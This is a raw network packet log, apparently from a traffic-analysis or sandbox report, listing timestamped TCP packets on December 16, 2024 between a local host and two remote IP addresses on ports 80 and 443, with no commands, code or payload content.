Dec 16, 2024 13:16:39.478423119 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.478473902 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.478528976 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.479640007 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.479676008 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.479700089 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.479726076 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.481000900 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.481034040 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.481093884 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.481955051 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.481987953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.482048035 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.483163118 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.483222961 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.483308077 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.483413935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.484364986 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.484483004 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.484519958 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.484519958 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.485539913 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.485595942 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.485614061 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.485671997 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.486690998 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.486788034 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.486900091 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.486964941 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.487895966 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.488017082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.488085032 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.489130974 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.489231110 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.489330053 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.489392996 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.490266085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.490334988 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.490506887 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.490566015 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.491466999 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.491540909 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.491599083 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.491688013 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.492661953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.492738008 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.492759943 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.492810965 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.493854046 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.493887901 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.493927956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.493958950 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.495018005 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.495090961 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.495122910 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.495172977 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.496264935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.496299982 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.496334076 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.496368885 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.497426987 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.497505903 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.497546911 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.497786999 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.498697042 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.498732090 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.498809099 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.499798059 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.499846935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.499907970 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.500978947 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.501177073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.501234055 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.502116919 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.502183914 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.502239943 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.502300024 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.503392935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.503465891 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.503494024 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.503612041 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.504642010 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.504678965 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.504739046 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.505805969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.505840063 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.505860090 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.505887032 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.507045984 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.507168055 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.507292032 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.508238077 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.508275032 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.508302927 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.508331060 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.509416103 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.509470940 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.509474039 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.509526014 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.510937929 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.510972023 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.511034966 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.511828899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.511866093 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.511928082 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.512957096 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.513021946 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.513067007 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.513114929 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.514075041 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.514086008 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.514142990 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.515130997 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.515187979 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.636697054 CET	49778	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.636760950 CET	443	49778	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.636950016 CET	49778	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.637306929 CET	49778	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.637321949 CET	443	49778	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.645971060 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.646095037 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.646116018 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.646202087 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.646528006 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.646673918 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.646709919 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.646749020 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.647380114 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.647438049 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.647484064 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.647533894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.648224115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.648255110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.648276091 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.648309946 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.649367094 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.649394989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.649420977 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.649463892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.650521040 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.650576115 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.650654078 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.650706053 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.651643991 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.651702881 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.651766062 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.651894093 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.652792931 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.652854919 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.652940035 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.653011084 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.654062033 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.654138088 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.654165983 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.654194117 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.655268908 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.655328035 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.655349970 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.655401945 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.656331062 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.656395912 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.656498909 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.656569004 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.657520056 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.657578945 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.657653093 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.657704115 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.658830881 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.658869028 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.658889055 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.658921957 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.659996986 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.660051107 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.660151005 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.660227060 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.661148071 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.661217928 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.661309004 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.661458969 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.662311077 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.662369013 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.662477970 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.662533998 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.663510084 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.663563013 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.663566113 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.663615942 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.664683104 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.664716005 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.664774895 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.665885925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.665899992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.665935993 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.665961027 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.667249918 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.667308092 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.667361021 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.667412043 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.668306112 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.668322086 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.668379068 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.669560909 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.669575930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.669629097 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.670660019 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.670675993 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.670730114 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.671920061 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.671935081 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.671977997 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.673002958 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.673100948 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.673126936 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.673203945 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.674231052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.674247026 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.674293995 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.675367117 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.675431013 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.675492048 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.675540924 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.676690102 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.676704884 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.676773071 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.678018093 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.678031921 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.678076029 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.678927898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.678980112 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.678997993 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.679053068 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.680140972 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.680201054 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.680260897 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.680505991 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.681410074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.681423903 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.681459904 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.681483984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.682588100 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.682602882 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.682656050 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.683645010 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.683711052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.683765888 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.683818102 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.684860945 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.684916973 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.684967041 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.685018063 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.686081886 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.686150074 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.686207056 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.686256886 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.687261105 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.687340975 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.687515020 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.687567949 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.688483953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.688548088 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.688580036 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.688627958 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.689641953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.689707994 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.689743042 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.689795017 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.690896034 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.690963984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.691034079 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.691086054 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.692056894 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.692126036 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.692152977 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.692205906 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.693394899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.693408966 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.693456888 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.694468975 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.694483042 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.694531918 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.695533991 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.695595980 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.695645094 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.695693016 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.696753025 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.696811914 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.696844101 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.696894884 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.698070049 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.698085070 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.698132992 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.699242115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.699258089 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.699305058 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.700320959 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.700387001 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.700443029 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.700495005 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.701513052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.701575041 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.701632023 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.701682091 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.702810049 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.702825069 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.702877045 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.703996897 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.704011917 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.704062939 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.705467939 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.705483913 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.705534935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.706331015 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.706346989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.706393003 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.706415892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.707567930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.707643032 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.837282896 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.837629080 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.837807894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.837825060 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.837888002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.838084936 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.838272095 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.838335037 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.839297056 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.839310884 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.839354992 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.840466976 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.840487003 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.840581894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.841581106 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.841721058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.841774940 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.842773914 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.842789888 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.842834949 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.843996048 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.844053984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.844079971 CET	80	49770	185.215.113.16	192.168.2.8
